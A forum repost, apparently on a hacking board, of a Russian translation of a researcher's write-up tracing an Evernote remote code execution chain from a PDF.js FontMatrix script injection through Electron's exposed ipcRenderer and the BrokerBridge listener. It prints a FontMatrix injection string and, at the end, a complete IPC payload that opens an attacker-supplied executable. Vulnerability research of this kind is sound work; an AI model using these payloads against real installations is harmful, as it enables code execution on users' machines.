Evernote RCE: От внедрения шрифтов в PDF.js до удаленного выполнения кода на всех платформах через уязвимость ipcRenderer в Electron с прослушиваемым

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
ПОЛНОЕ НАЗВАНИЕ СТАТЬИ: Evernote RCE: От внедрения шрифтов в PDF.js до удаленного выполнения кода на всех платформах через уязвимость ipcRenderer в Electron с прослушиваемым BrokerBridge.
ИСТОЧНИК: https://0reg.dev/blog/evernote-rce
ПЕРВЁЛ: BLUA специально для XSS.is


На этой неделе я обнаружил критическую уязвимость в приложении Evernote, связанную с внедрением JavaScript, которая позволяет удаленно выполнять код. Просто кликнув на общую заметку с вредоносным PDF-файлом, содержащим внедренные шрифты, атакующий может произвольно выполнять команды и файлы незаметно, используя уязвимость в предварительно загруженном и открытом API межпроцессного взаимодействия ipcRenderer Electron и встроенный в Evernote слушатель событий IPC BrokerBridge в основном процессе. Несмотря на то, что я потратил 6 часов (и еще больше времени на написание этого блога) на создание 4-шаговой цепочки вызовов для IPC-пейлоада в этом полностью запутанном массивном приложении, я все равно считаю, что это будет отличный материал для обсуждения и изучения :) (Забавно, но я шел по неверному пути около 2 часов, пока не понял, что ключевым является именно IPC, то есть, когда я нашел эту уязвимость как 0day, я начал искать способ выполнения кода, а не аспекты, связанные с ipcRenderer).

В сегодняшнем блоге мы рассмотрим путь от XSS до RCE в Evernote, который включает:
- Понимание того, как работают многопроцессная модель Electron, обработчики IPC и функции preload.js;
- Разбор работы JavaScript-инъекции шрифтов в PDF.js;
- Реверс-инжиниринг и отладка зашифрованного исходного кода Evernote, упакованного с помощью asar, из проекта Electron, который поддерживается уже 16 лет и имеет 250 миллионов пользователей (согласно случайному посту на Reddit), полностью с нуля до единицы;
- Погружение в коммуникацию событий IPC в Electron на примере реального проекта и как мы использовали вектор удаленного выполнения кода (RCE) через два межпроцессных моста с комплексным проектированием.

PDF.js: Font-Injecting

Эксплуатация началась с, вероятно, самого используемого формата файлов на Земле - PDF
Нажмите, чтобы раскрыть...

Evernote, как отличное приложение для интеграции заметок, позволяет пользователям встраивать PDF-файлы внутрь заметок для их просмотра и маркировки, что действительно является замечательной функцией для реализации в Evernote. Тем не менее, это также послужило отправной точкой для нашей цепочки эксплуатации, превращая полезную функцию в критическую уязвимость.

Для интегрированных взаимодействий с PDF Evernote использовал один из самых популярных PDF-плагинов - PDF.js, который позволяет взаимодействовать и интерпретировать PDF без использования сильно скомпилированных бинарных файлов на C++; вы можете легко получить доступ к PDF, просто импортировав пакет pdfjs-dist, написанный на Javascript. Чтобы PDF.js работал в производственных средах, команда разработчиков должна была разработать собственную логику и код для извлечения и отображения метаданных PDF, где и возникла неожиданная проблема.

Шрифты с любовью

Причина, по которой мы все используем PDF, заключается в том, что PDF может сохранять файл независимо от различной среды рендеринга. Например, файл .docx, который отправил вам ваш учитель, всегда выглядит странно на вашем компьютере. Одним из преимуществ PDF является то, что PDF может встраивать шрифты в метаданные для дальнейшего использования в процессе рендеринга, что фактически превращает глифы в кривые, подобные изображениям (также известное как векторизация). Чтобы это происходило быстро, команда оптимизации PDF.js ввела предварительно скомпилированную функцию генерации путей для этих глифов.

Код: Скопировать в буфер обмена
Код:
// Если возможно, компилируем команды в JS для МАКСИМАЛЬНОЙ СКОРОСТИ...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
  const jsBuf = [];
  for (const current of cmds) {
    const args = current.args !== undefined ? current.args.join(",") : "";
    jsBuf.push("c.", current.cmd, "(", args, ");\n");
  }
  // eslint-disable-next-line no-new-func
  console.log(jsBuf.join(""));
  return (this.compiledGlyphs[character] = new Function(
    "c",
    "size",
    jsBuf.join("")  // Бабах!
  ));
}

это делается путем создания объекта функции JavaScript с телом (jsBuf), содержащим инструкции, составляющие путь
Нажмите, чтобы раскрыть...

Однако, как только сработал наш хакерский инстинкт, в случае, если у нас есть контроль над командами, которые анализируются новой функцией (new Function), будет возможно контролировать поток выполнения PDF-документов, поскольку наш вредоносный код также будет оценен новой функцией. Таким образом, давайте разберемся, как команды источника могут быть проанализированы.

Код: Скопировать в буфер обмена
Код:
compileGlyph(code, glyphId) {
    if (!code || code.length === 0 || code[0] === 14) {
      return NOOP;
    }

    let fontMatrix = this.fontMatrix;
    ...

    const cmds = [
      { cmd: "save" },
      { cmd: "transform", args: fontMatrix.slice() },
      { cmd: "scale", args: ["size", "-size"] },
    ];
    this.compileGlyphImpl(code, cmds, glyphId);

    cmds.push({ cmd: "restore" });

    return cmds;
  }

Погружаясь в функцию compileGlyph, эта функция инициализирует команды для векторизации, обработки и передачи наших отслеживаемых команд. Критическим моментом является создание cmdtransform с аргументами fontMatrix.slice(), полученными из this.fontMatrix, где PDF.js генерирует команды векторизации, такие как save, transform и scale. Эти команды затем анализируются в ранее упомянутой новой функции (new Function). Но вопрос на миллион долларов заключается в том, как this.fontMatrix анализируется. По умолчанию, FontMatrix установлен в [0.001, 0, 0, 0.001, 0, 0], что заставляет нас предположить, что он может изначально быть числовым массивом из метаданных.

Код: Скопировать в буфер обмена
Код:
extractFontHeader(properties) {
    let token;
    while ((token = this.getToken()) !== null) {
      if (token !== "/") {
        continue;
      }
      token = this.getToken();
      switch (token) {
        case "FontMatrix":
          const matrix = this.readNumberArray();
          properties.fontMatrix = matrix;
          break;

Метод extractFontHeader, по-видимому, извлекает значение токена FontMatrix из метаданных, в данном случае с помощью readNumberArray, что означает, что мы будем полностью ограничены числовыми входными данными, делая невозможными внедрения JavaScript. Тем не менее, помните, что никогда не стоит сдаваться в поиске решений. В данном случае наш FontMatrix также может происходить из PartialEvaluator.translateFont(...), который загружает множество атрибутов PDF, связанных со шрифтом.

Код: Скопировать в буфер обмена
Код:
const properties = {
      type,
      name: fontName.name,
      subtype,
      file: fontFile,
      ...
      fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX,
      ...
      bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
      ascent: descriptor.get("Ascent"),
      descent: descriptor.get("Descent"),
      xHeight: descriptor.get("XHeight") || 0,
      capHeight: descriptor.get("CapHeight") || 0,
      flags: descriptor.get("Flags"),
      italicAngle: descriptor.get("ItalicAngle") || 0,
      ...
    };

Круто! Источник fontMatrix, определенный в PartialEvaluator.translateFont(...), похоже, не ограничен числовыми значениями! Это позволяет нам внедрить наш JavaScript-пейлоад через fontMatrix -> compileGlyph -> new Function. Тем не менее, чтобы использовать это, мы должны понять, как работают шрифты в PDF; где шрифт фактически состоит из /Font, /FontDescriptor и /FontFile, структурированных следующим образом:
Код: Скопировать в буфер обмена
Код:
1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
>>
endobj

Возвращаясь к ссылке на fontMatrix, метод dict.getArray("FontMatrix") фактически ссылается на объект /Font. Следовательно, мы можем создать кастомный объект /Font с нашим собственным заданным /FontMatrix.
Код: Скопировать в буфер обмена
Код:
1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
  /FontMatrix [1 2 3 4 5 6]   % <-----
>>
endobj

Однако, этот пейлоад не будет работать напрямую, так как наш /FontMatrix будет ссылаться на стандартную матрицу, встроенную внутрь шрифта Type1. Мы можем попробовать сначала импортировать шрифт Type1 без внутреннего определения FontMatrix, что, как определяет PDF.js в PartialEvaluator.translateFont(...), заменит стандартную матрицу, позволяя нам полностью контролировать предполагаемый FontMatrix. В сочетании с этим, мы можем попробовать превратить /FontMatrix [1 2 3 4 5] во что-то вроде /FontMatrix [1 2 3 4 5 (0\); alert\('PDF')], где c.transform будет буквально интерпретироваться как /FontMatrix [1 2 3 4 5] и следовать за alert\('foobar'). Это позволяет нам внедрять произвольный JavaScript в PDF, который затем будет интерпретироваться и выполняться, когда глифы проходят через функцию генератора предварительно скомпилированного пути. Это позволяет внедрять произвольный JavaScript!

Evernote: IPC & RCEs

Evernote, как одно из самых популярных приложений в мире с 225-250 миллионами пользователей (согласно этому случайному посту на Reddit), уязвимо к катастрофической атаке на цепочку поставок с внедрением JavaScript в PDF.js. При исследовании функции интеграции PDF в Evernote я обнаружил, что так как Evernote использует PDF.js, он подвержен этой уязвимости. Когда файл с суффиксом .pdf встраивается в Evernote -> supernote, PDF предварительно загружается через своего рода перепакованную кастомную версию pdfjs-dist для предпросмотра. Это позволяет нам внедрять произвольный JavaScript в любой supernote, который будет выполняться всякий раз при загрузке PDF.

Для обычного пути проникновения или поиска уязвимостей, Stored-XSS, который можно легко вызвать, изучив заметку, может считаться действительно мощным и влиятельным, так как мы можем достичь захвата аккаунта, распространения червя на другие аккаунты и просмотра частных заметок с последующей их отправкой на удаленный адрес... Тем не менее, продолжив свое исследование, я обнаружил, что место рендеринга (XSS) в клиентах Evernote фактически происходит на document.location.origin -> app://evernote, а не в iframe или webpack! С одной стороны, это запрещает нам получать прямой доступ к таким данным для входа, как document.cookie и другим ресурсам evernote.com, но с другой стороны, позволяет нам получить доступ к локальным привилегированным API и объектам, доступным в локальном домене! Это сделало наш XSS возможным для выполнения произвольного кода (RCE) на первом уровне!

Как мы и обещали, мы углубимся в то, как эта эксплуатация эскалировалась до выполнения удаленного кода (Remote-Code Execution), но перед этим есть кое-что очень важное, что нам необходимо понять: многопроцессная архитектура Electron и межпроцессное взаимодействие (IPC).

Client: Electron and Multi-Process Model

В большинстве случаев люди скачивают клиентскую версию приложения, чтобы получить доступ к большему количеству функций; например, управление локальными файлами, доступ к ресурсам на жестком диске, создание скриншотов и легкий доступ к буферу обмена и т.д. Для того чтобы все это происходило быстро, легко и безопасно, был представлен и используется Electron — программный фреймворк с открытым исходным кодом, основанный на Node.js и Chromium. Он используется для разработки 90% настольных клиентов, таких как 1Password, Notion, draw.io и, конечно же, нашего легендарного Evernote. Однако, чтобы предотвратить ситуации, когда неожиданные инъекции JavaScript легко приводят к выполнению удаленного кода, умные разработчики Electron представили нечто очень умное — многопроцессную модель, которая также используется в Chromium.
1_cU1QVhNk_QIrtgo8xSw5Hg.png



The Multi-Process Model

Многопроцессная модель изолирует основной процесс (который имеет прямой доступ к оборудованию и может использовать функции Node.js с помощью require()) от процесса рендеринга, который создается для каждой вкладки. В этом случае ваша вкладка с YouTube не сможет получить доступ к DOM-деревьям и конфиденциальной информации на сайте вашего банка, а также запретит вам:
1. Выполнять произвольный JavaScript в процессе рендеринга (XSS или переход на внешние сайты)
2. Перезаписывать встроенный метод, который используется в preload или внутреннем коде Electron, на свою собственную функцию
3. Вызвать использование перезаписанной функции

Кроме того, в Electron была введена функция nodeIntegrations. Если nodeIntegrations установлена в false, мы не можем напрямую выполнять коды на вашем ПК через require('child_process'), что является функцией Node.js; то же самое касается Evernote, этот механизм запрещает нам напрямую выполнять коды через скомпрометированные интегрированные компоненты PDF.js. Но все же есть интересные вещи, которые мы можем сделать с этим XSS:
- Ссылки на объект window: доступ к window.top, window.location, перенаправление на видео с котиками.
- Доступ к DOM-дереву (текущий процесс): изменение существующих DOM-деревьев, модификация страниц заметок.
- Подделка запросов на стороне клиента: отправка запросов с помощью fetch() и т.д.; (это зависит от настроек CSP).

Тем не менее, из-за настройки домена компонента PDF.js у нас нет прямого доступа к document.cookie (это не тот document.cookie, который вы ожидаете); поэтому здесь нет ничего интересного, на что стоит тратить наше время. Вместо этого мы получаем выполнение удаленного кода интересным способом: используя протокол IPC и встроенный BrokerBridge.

Прежде чем погрузиться в концепцию IPC, мы должны понимать, что для процесса рендеринга не невозможно взаимодействовать с внешним миром за пределами песочницы. Магия зависит от "preload" скрипта (да, того самого preload скрипта, который был представлен в нашем блоге об Electron). Просматривая исходный код любой Electron-приложения, вы обнаружите, что Electron обрабатывает новые объекты окна более сложным способом. Вместо этого они обычно используют что-то вроде этого, с использованием специального метода createWindow от Electron.

Код: Скопировать в буфер обмена
Код:
            (lT = Mt.register("boron.actions.showEditorContextMenu", cT)),
            (this.isCreatingWindow = !1),
            this.trackHWUsage(),
            this.window
          );
        } catch (e) {
          return uT.error("Error while creating window", e), null;
        } finally {
          this.isCreatingWindow = !1;
        }
      }
      async getMainBrowserWindowOpts() {
        var e;
        const t = await rT(hc, {}),
          n = {
            minHeight: 480,
            minWidth: 840,
            simpleFullscreen: !1,
            webPreferences: {
              plugins: !0,
              nodeIntegration: !1,
              contextIsolation: !0,
              preload: L().resolve(Ps.mainPath, "preload.js"),
              webSecurity: !0,
              partition: Ts(),
              spellcheck: !0,
              webviewTag: !0,
              sandbox: !1,
            },
            icon: s.nativeImage.createFromPath(Ps.appIconPath),
            show: !1,
          };
        if (null !== (e = t.main) && void 0 !== e && e.screenDimensions)
          return (
            (n.x = t.main.screenDimensions.x),
            (n.y = t.main.screenDimensions.y),
            (n.width = t.main.screenDimensions.width),
            (n.height = t.main.screenDimensions.height),
            n
          );

Рассматривая webPreferences здесь, webPreferences указывает contextIsolation, preload, partition, sandbox, где contextIsolation указывает на многопроцессную модель, как мы упомянули выше (nodeIntegration по умолчанию установлен в false, в случае если он включен, мы можем легко использовать функции Node.js через require(), contextIsolation установлен в true, поэтому мы не можем напрямую перезаписать встроенный метод). Тем не менее, ключ к выполнению удаленного кода в этом случае — это настройка preload, которая указывает на L().resolve(Ps.mainPath, "preload.js").

Как мы упоминали в блоге electron-math, предзагруженные скрипты имеют прямой доступ к функциям Node.js, так как они загружаются до процесса рендеринга. Разработчики обычно предоставляют дополнительные конечные точки API для взаимодействий, требующих функций Node.js, таких как os.openPath и т.д. В нашем случае я обнаружил, что Evernote не загружает всё в preload.js; вместо этого они делают это более изящным, но гораздо более сложным способом:
Код: Скопировать в буфер обмена
Код:
    const l = void 0,
      d = (0, n.createLogger)("boron:preload"),
      { userAgentString: c } = s.Z;
    o.contextBridge.exposeInMainWorld("userAgentString", { get: () => c }),
      (window.onload = () => {
        const e = {
          applicationTitle: "Evernote",
          applicationRole: "BoronPreload",
          isAutoUpdateAllowed: l,
          broker: t.Z,
          localizedAppTitleKey: "Account.header.title",
          objectPersistence: l,
          triggerLogin: l,
          triggerLogout: l,
          initConduit: l,
          shutdownConduit: l,
        };
        (0, a.j)(e);
      }),
      document.addEventListener("keydown", (e) => {
        123 === e.which && o.ipcRenderer.invoke("toggleDevTools");
      }),
      window.addEventListener("error", (e) => {
        d.error("Error :", e);
      });
    const { ionOpts: u } = s.Z;
    (window.__ionOpts = u),
      (window.electronApi = { ipcRenderer: o.ipcRenderer }),
      o.contextBridge.exposeInMainWorld("electronApi", {
        ipcRenderer: {
          on: (e, t) => o.ipcRenderer.on(e, t),
          send: (e, ...t) => o.ipcRenderer.send(e, ...t),
          removeAllListeners: (e) => o.ipcRenderer.removeAllListeners(e),
          invoke: (e, ...t) => o.ipcRenderer.invoke(e, ...t),
        },
      });
    const p = o.ipcRenderer.sendSync("getWindowId");
    o.contextBridge.exposeInMainWorld("electronWindowId", { get: () => p });
    const { appVersion: m } = s.Z;
    o.contextBridge.exposeInMainWorld("appVersion", {
      get: () =>
        m.startsWith("10")
          ? `Evernote ${m} / ${navigator.appVersion}`
          : navigator.appVersion,
    }),

Поскольку фактический preload.js содержит множество фрагментов перевода и другого кода, который не особо полезен для интерпретации, я сократил ключевые части, которые будут полезны для нашего пути к выполнению удаленного кода (RCE). Как видно здесь, в текущем контексте через метод o.contextBridge.exposeInMainWorld() нам предоставлены 4 API через contextBridge. Это userAgentString, который возвращает глобально сохраненную строку User Agent; toggleDevTools, который позволяет открыть F12 (на самом деле я потратил час, пытаясь понять, как открыть отладчик F12, а потом вдруг понял, что можно открыть его напрямую через F12); electronWindowId, который возвращает WindowID; appVersion, который возвращает версию приложения, и наконец, API на миллион долларов: electronApi, который позволяет нам осуществлять межпроцессное взаимодействие через протокол IPC.

С введением многопроцессной модели в Electron одновременно потребовался метод для межпроцессного взаимодействия. Здесь Electron представил метод рендеринга ipcRenderer для решения этой проблемы. Зарегистрированный ipcRenderer в нашем preload.js позволяет выполнять 4 действия: on, send, removeAllListeners, invoke, что является ключевым элементом концепции межпроцессного взаимодействия. Для различных процессов, главным образом между основным процессом и процессом рендеринга, обработчик ipcRenderer позволяет прослушивать определенную конечную точку IPC Listener и взаимодействовать с другими процессами через эти конечные точки IPC Listener. (ipcRenderer.send просто отправляет сообщение, в то время как ipcRenderer.invoke ожидает обратную связь). То же самое происходит в случае с Evernote: когда Evernote нужно выполнить действия, выходящие за рамки возможностей процесса рендеринга, Evernote вызывает ipcRenderer.invoke для обращения к основному процессу.

В нашем случае, когда мы намереваемся выполнить удаленное выполнение кода с помощью ранее найденной инъекции JavaScript, лучшим вектором эксплуатации, учитывая особенности Evernote, будет скачивание и выполнение вредоносного скрипта / ELF файла бесшумно. Тем не менее, главный вопрос заключается в следующем: как и какой слушатель устанавливает Evernote для такого действия?

Резюме главы: Инъекция JavaScript в Evernote была обнаружена через уязвимость Font-Injection в компоненте PDF.js. Тем не менее, из-за nodeIntegration, contextIsolation и домена запуска Electron мы не можем ни перехватить cookies пользователя, ни напрямую использовать возможности Node.js в качестве средства для выполнения удаленного кода. Однако открытый обработчик ipcRenderer в preload.js позволяет нам взаимодействовать с другими конечными точками IPC в основном процессе. Но что именно нам следует искать и как это сделать?
Нажмите, чтобы раскрыть...

Virtual-to-Reality: `BrokerBridge`

Открытый обработчик ipcRenderer в preload.js наконец-то предоставляет нам отправные точки для пути выполнения удаленного кода (RCE) в Evernote, учитывая сложную структуру Electron и полностью скрытый исходный код, который мы восстановили из app.asar. Поиск этой цепочки выполнения для ipcRenderer до конечного действия получения и открытия потребует гораздо больше усилий, но, по крайней мере, мы знаем, с чего начать.

При глобальном поиске строки "attachment" вы найдете около 500 совпадений, большинство из которых находятся в файлах локализации или в сильно сжатых фрагментах, которые нуждаются в улучшении форматирования для удобства чтения. Найти фактический обработчик в этом огромном количестве информации — это одновременно и огромная работа. После примерно двух часов поиска вы можете обратить внимание на объект 'boron', так как он постоянно повторяется, будь то в глобально доступных объектах или в файле локализации. Этот метод окажется ключевым для нашего пути выполнения удаленного кода (RCE), где обратное отслеживание метода sink shell.openPath и постоянное перекрестное ссылание, вероятно, приведет вас к нему.

Код: Скопировать в буфер обмена
Код:
Mt.register(
      "boron.actions.openFileAttachment",
      async ({ resource: e, url: t, noteGuid: n, appName: r }) => {
        try {
          if (!t) return;
          const o = (await (0, ea.getCurrentUserID)()).split(":")[1],
            a = lv({ resource: e, noteGuid: n, userID: o });
          if (O().existsSync(a))
            await cv({ filePath: a, resource: e, noteGuid: n, appName: r });
          else {
            const i = lv({
              resource: e,
              noteGuid: n,
              userID: o,
              oldPathOverride: !0,
            });
            O().existsSync(i) ? O().moveSync(i, a) : O().ensureFileSync(a);
            const s = await (0, es.getResource)(t),
              l = O().createWriteStream(a);
            s.stream
              .pipe(l)
              .on("error", (e) => {
                av.error(`Failed to save file: ${e}`),
                  jp("Message.openFileAttachment.failure");
              })
              .on("close", async () => {
                bt.Z.isMac && (await uv(a)),
                  await cv({
                    filePath: a,
                    resource: e,
                    noteGuid: n,
                    appName: r,
                  });
              });
          }
        } catch (e) {
          av.error(`Error in openFileAttachment: ${e}`),
            jp("Message.openFileAttachment.failure");
        }
      }

Из-за того, насколько полностью скрыт код, практически невозможно найти определения для каждого объекта, даже несмотря на то, что символы для разобранных аргументов не скрыты, это все равно слишком неопределенно, чтобы мы могли напрямую создать запрос к этому boron.actions.openFileAttachment. Более того, этот Mt.register не зарегистрирован в протоколе ipcRenderer, а в чем-то другом. Теперь стоит рассмотреть более важный вопрос: как можно вызвать boron.actions.openFileAttachment? Какие параметры нам нужно передать, чтобы он вызвал shell.openPath (на самом деле это вызывается в скрытом методе cv() в этом контексте, вы можете узнать это по оставшимся символам аргументов, ссылающимся на один sink, который вы могли бы восстановить для поиска sink shell.openPath, как упоминалось ранее). Если вы продолжите искать boron.actions.openFileAttachment, это приведет вас сюда: (Этот фрагмент слишком велик для обработки Prettier, но мы все же можем его прочитать).

Код: Скопировать в буфер обмена
async function a(e){return i.execute({id:e})}const r=i},134295:(e,t,n)=>{n.d(t,{HH:()=>r,Un:()=>f,cJ:()=>d,dP:()=>l,iw:()=>m,jw:()=>s,oB:()=>c,u6:()=>u,uM:()=>p,xb:()=>a});var o=n(719959),i=n(593013);function a(e){if((0,i.Ld)())return o.default.call("boron.actions.showEditorContextMenu",e)}function r(e){if((0,i.Ld)())return o.default.call("boron.actions.setNativeFilesForDrag",e)}function s(e){if((0,i.Ld)())return o.default.call("boron.actions.setNativeFilesForCopy",e)}function l(e){return o.default.call("boron.actions.closePopupNoteWindows",e)}function c(e,t,n=!1){d(e,[t],n)}function d(e,t,n=!1){o.default.publish(`boron.action.dispatch.${e}`,null,{actions:t,moveFocus:n},!1)}function u({fileName:e,url:t}){return o.default.call("boron.actions.saveFileAttachment",{fileName:e,url:t})}function m({attachments:e}){return o.default.call("boron.actions.saveAttachments",{attachments:e})}function p({resource:e,url:t,noteGuid:n,appName:i}){return o.default.call("boron.actions.openFileAttachment",{resource:e,url:t,noteGuid:n,appName:i})}function f({resource:e,noteGuid:t}){return o.default.call("boron.actions.updateOpenedFileAttachment",{resource:e,noteGuid:t})}},341447:(e,t,n)=>{n

что не имеет никакого смысла, так как o.default.call's o равно n(719959), функция, в которую передается целое число, где другое целое число также передается; Таким образом, единственный прием здесь — использовать динамическую отладку.

Динамическая отладка: «Шаг внутрь»

Используя Shift+Ctrl+F, вы можете глобально искать строку в меню Source (Исходный код) в F12. Связанная точка входа Mt.register("boron.actions.openFileAttachment"), которую вы можете найти, находится в 970.js -> function b({resource: e, url: t, noteGuid: n, appName: r}) {. Установив точку останова на этой функции и нажав "открыть вложение", точка останова будет сработана, и все переданные переменные {e, t, n, r} будут показаны справа, а весь стек вызовов будет отображен.

Код: Скопировать в буфер обмена
Код:
        function b({resource: e, url: t, noteGuid: n, appName: r}) {
            return a.Z.call("boron.actions.openFileAttachment", {
                resource: e,
                url: t,
                noteGuid: n,
                appName: r
            })
        }

Тем не менее, эта информация все еще недостаточно эффективна для того, чтобы напрямую вызвать boron.actions.openFileAttachment через b({resource: e, url: t, noteGuid: n, appName: r}) или a.Z.call("boron.actions.openFileAttachment"), так как, несмотря на то, что мы можем ссылаться на локальную переменную, сколько захотим, в этом приостановленном кадре, в контексте внедрения JavaScript она не будет вызываться, поскольку эти функции не являются exposeInMain или не экспонируются другими способами. Вместо этого нам нужно будет шагнуть внутрь функции.

Шаг #1: boronMain.js с 719959: (_,E,T)=>{ T.d(E, { Z: ()=>O }); var e = T(686200); const O = new class { subscribe(_, E, T) { return (0, e.Z)().broker.subscribe(_, E, T), где мы уже можем увидеть нашего хорошего друга .broker.subscribe. Еще один шаг внутрь, и мы достигнем;

Шаг #2: 970.js -> function b({resource: e, url: t, noteGuid: n, appName: r}) { отменяется. Тем не менее, файл не выполняется / не открывается;

Шаг #3: boronMain.js с call = (_,E)=>(0, e.Z)().broker.call(_, E);: Новое состояние, где _ = boron.actions.openFileAttachment, E: { "resource": { "hash": "4a4be40c96ac6314e91d93f38043a634", "mime": "application/octet-stream", "rect": { "left": 56, "top": 155, "width": 376.0000305175781, "height": 43.42857360839844 }, "state": "loaded", "reference": "3298a792-a64e-4fc6-b405-19b28d660343", "selected": true, "url": "en-cache://tokenKey%3D%22AuthToken%3AUser%3A246318479%22+34154c29-b864-0f2d-fab9-0244a07d9495+4a4be40c96ac6314e91d93f38043a634+[URL]https://www.evernote.com/shard/s594/res/54aefdb1-9c1b-008f-09a1-450408bcca92[/URL]", "isInk": false, "filesize": 4, "filename": "cat.exe" }, "url": "en-cache://tokenKey%3D%22AuthToken%3AUser%3A246318479%22+34154c29-b864-0f2d-fab9-0244a07d9495+4a4be40c96ac6314e91d93f38043a634+[URL]https://www.evernote.com/shard/s594/res/54aefdb1-9c1b-008f-09a1-450408bcca92[/URL]", "noteGuid": "34154c29-b864-0f2d-fab9-0244a07d9495", "appName": "" }

Шаг #4 и Шаг #5: Пропускаем шаги;

Шаг #6: boronMain.js при вызове: (_,E)=>new Promise(((T,e)=>{`; Переход к: `window.electronApi.ipcRenderer.send("BrokerBridge"
Код: Скопировать в буфер обмена
Код:
             call: (_,E)=>new Promise(((T,e)=>{
                     const O = r();
                     R[O] = ({id: _, error: E, result: O})=>{
                         delete R[_],
                         E ? e(E) : T(O)
                     }
                     ,
                     window.electronApi.ipcRenderer.send("BrokerBridge", {
                         action: o.CALL,
                         id: O,
                         topics: _,
                         data: E
                     })
                 }
                 )),
                 clearTopics: function(_) {
                     window.electronApi.ipcRenderer.send("BrokerBridge", {
                         action: o.CLEARTOPICS,
                         topics: _
                     })
                 }
             };

RCEs: Bridge-to-Bridge, Chain-to-Chain

Наконец-то достигнуто состояние с exposeInMainWorld -> ipcRenderer.send, который можно получить в предварительно загруженном window.electronApi.ipcRenderer.send! Установив еще одну точку останова точно на window.electronApi.ipcRenderer.send, мы можем исследовать любые данные, передаваемые из функции b({resource: e, url: t, noteGuid: n, appName: r}) сюда, а также локальные параметры topic, id, topic, data.

202407102344972.png


где, шаг за шагом, вы можете увидеть, как ipcRenderer.send анализируется в global_init's "./lib/renderer/api/ipc-renderer.ts": (e, t, r) => {, но, к сожалению, вы не можете шагнуть в main.js, так как он не загружен в текущем контексте. Тем не менее, используя BrokerBridge как ключевое слово, мы можем найти слушатель IPC для BrokerBridge в main.js:308544; s.ipcMain.on("BrokerBridge", async (e, t) => { с прослушиваемыми случаями переключателя. HELLO, REGISTER, CALL. Исходя из того, что мы видим в main.js:291697, мы также можем предположить, что Mt.register из boron.actions.openFileAttachment фактически связывает boron.actions.openFileAttachment с BrokerBridge для использования между контекстами.

Код: Скопировать в буфер обмена
Код:
     async onAppReadyPreConduit() {
        var t;
        await ZA(),
          on.dispatch({ type: en.LOCALIZATION_READY, user: null }),
          s.ipcMain.on("BrokerBridge", async (e, t) => {
            const { sender: n } = e,
              {
                id: r,
                action: o,
                topics: a,
                type: i,
                data: s,
                saveMessage: l,
                replayMessage: u,
              } = t,
              d = Fs[n.id];
            switch (o) {


              // CASE HELLO
              case Is.HELLO:
                Fs[n.id] = {
                  unsubscribers: {},
                  unregistrants: {},
                  callbacks: {},
                };
                break;


              // CASE REGISTER
              case Is.REGISTER:
                if (!d) {
                  Us.warn(
                    `Cannot register id ${r}. No sender window with id ${n.id}`
                  );
                  break;
                }
                d.unregistrants[r] = Mt.register(
                  a,
                  (e) =>
                    new Promise((t, o) => {
                      const a = bo().v4();
                      (d.callbacks[a] = ({ id: e, result: n, error: r }) => {
                        delete d.callbacks[e], r ? o(r) : t(n);
                      }),
                        n.send("BrokerBridge", {
                          action: Is.RUN_REGISTRANT,
                          id: r,
                          cbid: a,
                          payload: e,
                        });
                    })
                );
                break;

            // CASE CALL     
            case Is.CALL:
                try {
                  try {
                    const e = await Mt.call(a, s);
                    n.send("BrokerBridge", {
                      action: Is.CALL,
                      id: r,
                      result: e,
                    });
                  } catch (e) {
                    Us.warn(`Error: ${e.message}`),
                      (p = e),
                      Object.getOwnPropertyNames(p).forEach((e) =>
                        Object.defineProperty(p, e, {
                          ...Object.getOwnPropertyDescriptor(p, e),
                          enumerable: !0,
                        })
                      ),
                      n.send("BrokerBridge", {
                        action: Is.CALL,
                        id: r,
                        error: e,
                      });
                  }
                } catch (e) {
                  Us.error(`Error: ${e.message}`);
                }
                break;

Вот как отладочная информация сообщила нам (send: (e, ...n) => r.ipcRenderer.send(e, ...n),: e: BrokerBridge, {"action": "Bridge/Call", "id": "11a261fa-3f93-4811-b7b8-a50f3a25f506", "topics": "boron.spidersense.track", "data": {"categories": ["delta", "remote_config", "empty"], "severity": "info", "info": {}}}) ipcRenderer на самом деле отправил запрос на прослушиваемую конечную точку ipcMain: s.ipcMain.on("BrokerBridge", async (e, t) => {, в которой "action": "Bridge/Call"` указано в случае Is.CALL: switch, который выполняет Mt.call(a, s); (тот же Mt), который мы впервые нашли в Mt.register("boron.actions.openFileAttachment", вызывая cv({ filePath: a, resource: e, noteGuid: n, appName: r });, открывая файл, RCE! Таким образом, мы создали полезную нагрузку:
Код: Скопировать в буфер обмена
window.top.electronApi.ipcRenderer.send('BrokerBridge', {action: 'Bridge/Call',id: '7e803824-d666-4ffe-9ebb-39ac1bd7856f',topics: 'boron.actions.openFileAttachment',data:{'resource': {'hash':'2f82623f9523c0d167862cad0eff6806','mime': 'application/octet-stream','rect': {'left': 68,'top': 155,'width': 728.1428833007812,'height': 43.42857360839844},'state': 'loaded','reference': '22cad1af-d431-4af6-b818-0e34f9ff150b','selected': true,'url': 'en-cache://tokenKey%3D%22AuthToken%3AUser%3A245946624%22+f4cbd0d2-f670-52a7-7ea7-5720d65614fd+2f82623f9523c0d167862cad0eff6806+https://www.evernote.com/shard/s708/res/54938bad-ecb2-3aaa-6ad0-a9b7958d402f','isInk': false,'filesize': 45056,'filename': 'calc.exe'},'url':'en-cache://tokenKey%3D%22AuthToken%3AUser%3A245946624%22+f4cbd0d2-f670-52a7-7ea7-5720d65614fd+2f82623f9523c0d167862cad0eff6806+https://www.evernote.com/shard/s708/res/54938bad-ecb2-3aaa-6ad0-a9b7958d402f','noteGuid': 'f4cbd0d2-f670-52a7-7ea7-5720d65614fd','appName': ''}})
 
Сверху Снизу